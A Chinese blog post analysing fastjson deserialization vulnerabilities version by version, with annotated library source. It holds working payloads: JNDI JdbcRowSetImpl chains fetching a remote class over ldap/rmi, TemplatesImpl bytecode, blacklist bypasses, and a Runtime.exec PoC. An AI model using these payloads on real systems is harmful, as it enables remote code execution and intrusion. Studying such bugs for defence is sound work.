感谢 lala 大佬的高质量文章

  • 三种反序列化接口:


    //序列化
    String text = JSON.toJSONString(obj); 
    //反序列化
    VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
    VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
    VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类
    

    区别:
    parse("") 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法parseObject("") 会调用反序列化目标类的特定 setter 和 getter 方法(此处有的博客说是所有setter,个人测试返回String的setter是不行的,此处打个问号)parseObject("",class) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
    
  • 关于 @type


    这个字段可以指定反序列化任意类,并且会自动调用类中属性的特定的 set,get 方法,其中:
    • public修饰符的属性会进行反序列化赋值,private修饰符的属性不会直接进行反序列化赋值,而是会调用setxxx(xxx为属性名)的函数进行赋值。
    • getxxx(xxx为属性名)的函数会根据函数返回值的不同,而选择被调用或不被调用

    决定是否被调用的部分在 com.alibaba.fastjson.util.JavaBeanInfo#build函数处
    image-20220207223653380
    在 build 中遍历两遍 class 的所有方法,分别去找 set 和 get 开头特定的方法(代码写的真丑)
    image-20220207224419816
    set开头的方法要求:
    • 方法名长度大于4且以set开头,且第四个字母要是大写
    • 非静态方法
    • 返回类型为void或当前类
    • 参数个数为1个

    如果没有这个属性并且这个set方法的输入是一个布尔型(是boolean类型,不是Boolean类型,这两个是不一样的),会重新给属性名前面加上is,再取头两个字符,第一个字符为大写(即isNa),去寻找这个属性名。
    get开头的方法要求:
    • 方法名长度大于等于4
    • 非静态方法
    • 以get开头且第4个字母为大写
    • 无传入参数
    • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

    那么接下来要做的就是利用要求之内的 setter 和 getter 方法执行命令了。
  • <=1.2.24 JNDI注入利用链 JdbcRowSetImpl


    三种反序列化接口都能用。
    payload:jdk < 1.8u191
    {
        "@type":"com.sun.rowset.JdbcRowSetImpl",   //调用com.sun.rowset.JdbcRowSetImpl函数中的
        "dataSourceName":"ldap://127.0.0.1:1389/Exploit",   // setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit"
        "autoCommit":true // 再调用setAutoCommit函数,传入true
    }
    

    接口函数:(满足条件)
    public void setDataSourceName(String var1) throws SQLException
    public void setAutoCommit(boolean var1)throws SQLException
    
  • <=1.2.24 JDK1.7 的 TemplatesImpl 利用链


    基于 jdk1.7u21 的链,但无 1.7 具体版本限制
    限制条件:

    1. 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
      JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
    2. 服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField);

    原因是 payload 的 TemplatesImpl 的一些属性必须是 private,服务端必须添加特性才回去从json中恢复private属性的数据。
    (实际上最后的 TemplatesImpl 是全 jdk1.7 通用的,fastjson 也就是用了最后这部分)
    payload:
    {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARsYWxhAQAMSW5uZXJDbGFzc2VzAQAcTOeJiOacrDI0L2pkazd1MjFfbWluZSRsYWxhOwEAClNvdXJjZUZpbGUBABFqZGs3dTIxX21pbmUuamF2YQwABAAFBwATAQAa54mI5pysMjQvamRrN3UyMV9taW5lJGxhbGEBABBqYXZhL2xhbmcvT2JqZWN0AQAV54mI5pysMjQvamRrN3UyMV9taW5lAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAEY2FsYwgAGwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMAB0AHgoAFgAfAQARTGFMYTg4MTIwNDQ1NzYzMDABABNMTGFMYTg4MTIwNDQ1NzYzMDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAADwAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
    
  • 1.2.25 版本修复


    1.2.24版本产生漏洞的原因:
    1. @type 会加载任意类,通过 setter,getter 等方法进行赋值,恢复出整个类。
    2. 由 setter,getter 等方法构造出一条链(结合 JNDI 或 TemplatesImpl)

    在新版本中加入了黑、白名单
    public Class checkAutoType(String typeName, Class expectClass) {
            if (typeName == null) {
                return null;
            }
    
            final String className = typeName.replace('$', '.');
    
            //一些固定类型的判断,此处不会对clazz进行赋值,此处省略
    
            if (!autoTypeSupport) {
                //进行黑名单匹配,匹配中,直接报错退出
                for (int i = 0; i < denyList.length; ++i) {
                    String deny = denyList[i];
                    if (className.startsWith(deny)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
                //对白名单,进行匹配;如果匹配中,调用loadClass加载,赋值clazz直接返回
                for (int i = 0; i < acceptList.length; ++i) {
                    String accept = acceptList[i];
                    if (className.startsWith(accept)) {
                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
    
                        if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                        }
                        return clazz;
                    }
                }
            }
    
            //此处省略了当clazz不为null时的处理情况,与expectClass有关
            //但是我们这里输入固定是null,不执行此处代码
    
            //可以发现如果上面没有触发黑名单,返回,也没有触发白名单匹配中的话,就会在此处被拦截报错返回。
            if (!autoTypeSupport) {
                throw new JSONException("autoType is not support. " + typeName);
            }
            //执行不到此处
            return clazz;
    }
    

    20200102094428-6a060516-2d01-1
    com.sun 无了,默认情况无法绕过。
  • 1.2.25-1.2.41绕过


    要求:服务端 AutoTypeSupport 设置为 true(关闭白名单)
    虽然关掉了白名单,但是注意到现在的执行逻辑是先加载,也就是会进入TypeUtils.loadClass(typeName, defaultClassLoader) 中,然后才检查黑名单,跟进去看看
    public static Class loadClass(String className, ClassLoader classLoader) {
            if (className == null || className.length() == 0) {
                return null;
            }
    
            Class clazz = mappings.get(className);
    
            if (clazz != null) {
                return clazz;
            }
    
            //特殊处理1!
            if (className.charAt(0) == '[') {
                Class componentType = loadClass(className.substring(1), classLoader);
                return Array.newInstance(componentType, 0).getClass();
            }
            //特殊处理2!
            if (className.startsWith("L") && className.endsWith(";")) {
                String newClassName = className.substring(1, className.length() - 1);
                return loadClass(newClassName, classLoader);
            }
    

    特殊处理1没什么用,只有一个 [ 的会被当作数据加载,json直接报错。
    但特殊处理2,只要加上 L 开头 ; 结尾就能直接加载了,相当于绕过黑名单
    {"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
    
  • 1.2.42版本修复和绕过


    1. 明文黑名单换为黑名单 hash(github已经碰撞出来了,相当于没什么用了)
    2. 传入的类名删去开头的 L 和结尾的 ;(只删了一次,重复一下就行)

    {"@type":"LLcom.sun.rowset.RowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
    
  • 1.2.43 - 1.2.46 修复


    把 LL 开头的都给封了,JdbcRowSetImpl 和 TemplatesImpl 算是都无了。
    扩充 jar 包的同时,疯狂扩充黑名单。
  • 1.2.47 通杀


    看一下 com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class, int)
    public Class checkAutoType(String typeName, Class expectClass, int features) {
            //1.typeName为null的情况,略
    
            //2.typeName太长或太短的情况,略
    
            //3.替换typeName中$为.,略
    
            //4.使用hash的方式去判断[开头,或L开头;结尾,直接报错
            //这里经过几版的修改,有点不一样了,但是绕不过,也略
    
            //5.autoTypeSupport为true(白名单关闭)的情况下,返回符合白名单的,报错符合黑名单的
            //(这里可以发现,白名单关闭的配置情况下,必须先过黑名单,但是留下了一线生机)
            if (autoTypeSupport || expectClass != null) {
                long hash = h3;
                for (int i = 3; i < className.length(); ++i) {
                    hash ^= className.charAt(i);
                    hash *= PRIME;
                    if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                        if (clazz != null) {
                            return clazz;
                        }
                    }
                    //要求满足黑名单并且从一个Mapping中找不到这个类才会报错,这个Mapping就是我们的关键
                    if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }
    
            //6.从一个Mapping中获取这个类名的类,我们之后看
            if (clazz == null) {
                clazz = TypeUtils.getClassFromMapping(typeName);
            }
            //7.从反序列化器中获取这个类名的类,我们也之后看
            if (clazz == null) {
                clazz = deserializers.findClass(typeName);
            }
            //8.如果在6,7中找到了clazz,这里直接return出去,不继续了
            if (clazz != null) {
                if (expectClass != null
                        && clazz != java.util.HashMap.class
                        && !expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
               //无论是默认白名单开启还是手动白名单关闭的情况,我们都要从这个return clazz中出去
                return clazz;
            }
            // 9. 针对默认白名单开启情况的处理,这里
            if (!autoTypeSupport) {
                long hash = h3;
                for (int i = 3; i < className.length(); ++i) {
                    char c = className.charAt(i);
                    hash ^= c;
                    hash *= PRIME;
                    //碰到黑名单就死
                    if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                    //满足白名单可以活,但是白名单默认是空的
                    if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                        if (clazz == null) {
                            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                        }
                        //针对expectCLass的特殊处理,没有expectCLass,不管
                        if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                        }
    
                        return clazz;
                    }
                }
            }
            //通过以上全部检查,就可以从这里读取clazz
            if (clazz == null) {
                clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
            }
    
            //这里对一些特殊的class进行处理,不重要
    
           //特性判断等
    
            return clazz;
        }
    

    白名单关闭时直接匹配黑名单(G),只能在匹配到黑名单之前搞些事情。
    白名单开启时只要满足 TypeUtils.getClassFromMapping(typeName) != null 就能直接 return,从而跳过黑名单的限制。
    而这里的 if 执行结果取决于前面的这两个方法:
    1. TypeUtils.getClassFromMapping(typeName)
    2. deserializers.findClass(typeName)

    其中在 TypeUtils.getClassFromMapping(typeName) 中
    //这个map是一个hashmap
    private static ConcurrentMap> mappings = new ConcurrentHashMap>(16, 0.75f, 1);
        ...
        public static Class getClassFromMapping(String className){
            //很简单的一个mapping的get
            return mappings.get(className);
        }
    

    找一下哪里有能用的 mappings.put ,发现了这里 TypeUtils.loadClass
    public static Class loadClass(String className, ClassLoader classLoader, boolean cache) {
            //判断className是否为空,是的话直接返回null
            if(className == null || className.length() == 0){
                return null;
            }
            //判断className是否已经存在于mappings中
            Class clazz = mappings.get(className);
            if(clazz != null){
                //是的话,直接返回
                return clazz;
            }
            //判断className是否是[开头,1.2.44中针对限制的东西就是这个
            if(className.charAt(0) == '['){
                Class componentType = loadClass(className.substring(1), classLoader);
                return Array.newInstance(componentType, 0).getClass();
            }
            //判断className是否L开头;结尾,1.2.42,43中针对限制的就是这里,但都是在外面限制的,里面的东西没变
            if(className.startsWith("L") && className.endsWith(";")){
                String newClassName = className.substring(1, className.length() - 1);
                return loadClass(newClassName, classLoader);
            }
            //1. 我们需要关注的mappings在这里有
            try{
                //输入的classLoader不为空时
                if(classLoader != null){
                    //调用加载器去加载我们给的className
                    clazz = classLoader.loadClass(className);
                    //!!如果cache为true!!
                    if (cache) {
                        //往我们关注的mappings中写入这个className
                        mappings.put(className, clazz);
                    }
                    return clazz;//返回加载出来的类
                }
            } catch(Throwable e){
                e.printStackTrace();
                // skip
            }
            //2. 在这里也有,但是好像这里有关线程,比较严格。
            try{
                ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
                if(contextClassLoader != null && contextClassLoader != classLoader){
                    clazz = contextClassLoader.loadClass(className);
                    //同样需要输入的cache为true,才有可能修改
                    if (cache) {
                        mappings.put(className, clazz);
                    }
                    return clazz;
                }
            } catch(Throwable e){
                // skip
            }
            //3. 这里也有,限制很松
            try{
                //加载类
                clazz = Class.forName(className);
                //直接放入mappings中
                mappings.put(className, clazz);
                return clazz;
            } catch(Throwable e){
                // skip
            }
            return clazz;
        }
    

    如果可以控制参数就可以向 mapping 中添加任意类,让前一个的 mapping.get 返回不为 null,从而绕过黑名单。
    找一下调用 TypeUtils.loadClass 并且参数满足条件的地方(),这里MiscCodec.java#deserialze
    public  T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
            JSONLexer lexer = parser.lexer;
    
            //4. clazz类型等于InetSocketAddress.class的处理。
            //我们需要的clazz必须为Class.class,不进入
            if (clazz == InetSocketAddress.class) {
                ...
            }
    
            Object objVal;
            //3. 下面这段赋值objVal这个值
            //此处这个大的if对于parser.resolveStatus这个值进行了判断,我们在稍后进行分析这个是啥意思
            if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
                //当parser.resolveStatus的值为  TypeNameRedirect
                parser.resolveStatus = DefaultJSONParser.NONE;
                parser.accept(JSONToken.COMMA);
                //lexer为json串的下一处解析点的相关数据
                 //如果下一处的类型为string
                if (lexer.token() == JSONToken.LITERAL_STRING) {
                    //判断解析的下一处的值是否为val,如果不是val,报错退出
                    if (!"val".equals(lexer.stringVal())) {
                        throw new JSONException("syntax error");
                    }
                    //移动lexer到下一个解析点
                    //举例:"val":(移动到此处->)"xxx"
                    lexer.nextToken();
                } else {
                    throw new JSONException("syntax error");
                }
    
                parser.accept(JSONToken.COLON);
                //此处获取下一个解析点的值"xxx"赋值到objVal
                objVal = parser.parse();
    
                parser.accept(JSONToken.RBRACE);
            } else {
                //当parser.resolveStatus的值不为TypeNameRedirect
                //直接解析下一个解析点到objVal
                objVal = parser.parse();
            }
    
            String strVal;
            //2. 可以看到strVal是由objVal赋值,继续往上看
            if (objVal == null) {
                strVal = null;
            } else if (objVal instanceof String) {
                strVal = (String) objVal;
            } else {
                //不必进入的分支
            }
    
            if (strVal == null || strVal.length() == 0) {
                return null;
            }
    
            //省略诸多对于clazz类型判定的不同分支。
    
            //1. 可以得知,我们的clazz必须为Class.class类型
            if (clazz == Class.class) {
                //我们由这里进来的loadCLass
                //strVal是我们想要可控的一个关键的值,我们需要它是一个恶意类名。往上看看能不能得到一个恶意类名。
                return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
            }
    

    接下来要关注的是 parser.resolveStatus(要对它的值进行判断)
    1. parser.resolveStatus == TypeNameRedirect 我们需要json串中有一个"val":"恶意类名",来进入if语句的true中,污染objVal,再进一步污染strVal。我们又需要clazz为class类来满足if判断条件进入loadClass。
    2. parser.resolveStatus != TypeNameRedirect进入if判断的false中,可以直接污染objVal。再加上clazz=class类

    poc:
    {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }
    

    20200102094438-6fc52b08-2d01-1
    payload:
    {
        "a": {
            "@type": "java.lang.Class", 
            "val": "com.sun.rowset.JdbcRowSetImpl"
        }, 
        "b": {
            "@type": "com.sun.rowset.JdbcRowSetImpl", 
            "dataSourceName": "ldap://localhost:1389/Exploit", 
            "autoCommit": true
        }
    }
    
  • 1.2.48 修复


    上一个会调用第二个 mappings.put,还有一个要满足的条件是 cache 为 true(默认)
    直接改成 false了。
  • 1.2.62-67 又能打了


    其实就是有新的 gadget 绕黑名单,但前提还是要开 AutoType,同时还有很多 jar 包和 java版本限制。
  • 1.2.68(expectClass 绕过 AutoType)


    绕 fastjson 的核心就是绕 checkAutoType() 函数,先看一下通过 checkAutoType() 校验的方式
    1.白名单里的类
    2.开启了autotype
    3.使用了JSONType注解
    4.指定了期望类(expectClass)
    5.缓存在mapping中的类
    6.使用ParserConfig.AutoTypeCheckHandler接口通过校验的类
    

    这次用的第4种,当传入 checkAutoType() 的 expectClass 不为 null 的时候(默认为 null),并且要实例化的类是 expectClass 的子类或其实现时,会将传入的类视作一个合法类,但因为 黑名单检测在 loadClass 之前,所以不能绕过黑名单,最后 loadClass 就会返回该类的 class。
    但是 checkAutoType 默认的 expectClass 为 null,那么我们的思路就变成了先调用一个 expectClass 参数不为 null 的 checkAutoType(),再利用这次调用中的 expectClass 的子类或接口们做一些事情。
    可以直接把 expectClass 参数传递给 checkAutoType() 的类有两个
    1. 在JavaBeanDeserializer类的deserialze()函数中会调用checkAutoType()并传入可控的expectClass
    2. 在ThrowableDeserializer类的deserialze()函数中也会调用并传入
    

    那么思路就是:@type(1) 的 class => 通过 CheckAutoType 并调用 deserialze() => 触发调用第二个 checkAutoType() => @type(2) 的 class(恶意类)
    其中实现对应的分别为:AutoCloseable 类 和 Throwabl e类。
    VulAutoCloseable.java
    package 版本68;
    
    public class VulAutoCloseable implements AutoCloseable {
    
        public VulAutoCloseable(String cmd) {
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    
        @Override
        public void close() throws Exception {
    
        }
    }
    
    

    poc.java:
    package 版本68;
    
    import com.alibaba.fastjson.JSON;
    
    public class poc {
        public static void main(String[] args) {
            String poc = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"版本68.VulAutoCloseable\",\"cmd\":\"calc\"}";
            JSON.parse(poc);
        }
    }
    
    

    在 CheckAutoType 中打断点调试,如果 expectClass 不为 null 且不在指定 class 中就会把 expertClassFlag 设置为 true,
    image-20220213004934230
    然后是先进行内部白名单和内部黑名单查询,
    image-20220213005159567
    如果非是内部白名单,并且开启 autoTypeSupport 或者 expectClass 不为空时会进行黑白名单查找,
    image-20220213005314669
    查找后调用 TypeUtils.getClassFromMapping 查找 class ,第一次传入的是 AutoCloseable,因此能正常加载,
    image-20220213010127039
    在获取反序列化器的时候,如果是一个接口,且里面所有的判断都不满足,然后就会用 JavaBeanDeserializer 执行 deserialze,注意这里传入的参数是 AutoCloseable
    image-20220213010620811
    跟进 deserialze ,发现这里的 checkAutoType 传入了 expectClass,也就是之前的 AutoCloseable
    image-20220213010919699
    进入黑白名单环节
    image-20220213011213308
    autoTypeSupport 为 false,接着往下走
    image-20220213012524387
    jsonType 为 false,不会返回,继续往下执行
    image-20220213013202871
    然后因为 expectClass 不为空,把恶意类加载到内存中
    image-20220213013257002
    之后deserializer.deserialze(),由于将恶意类加入mapping,在反序列化解析时会绕过autoType,成功利用
  • 参考文献


 

标签: none

添加新评论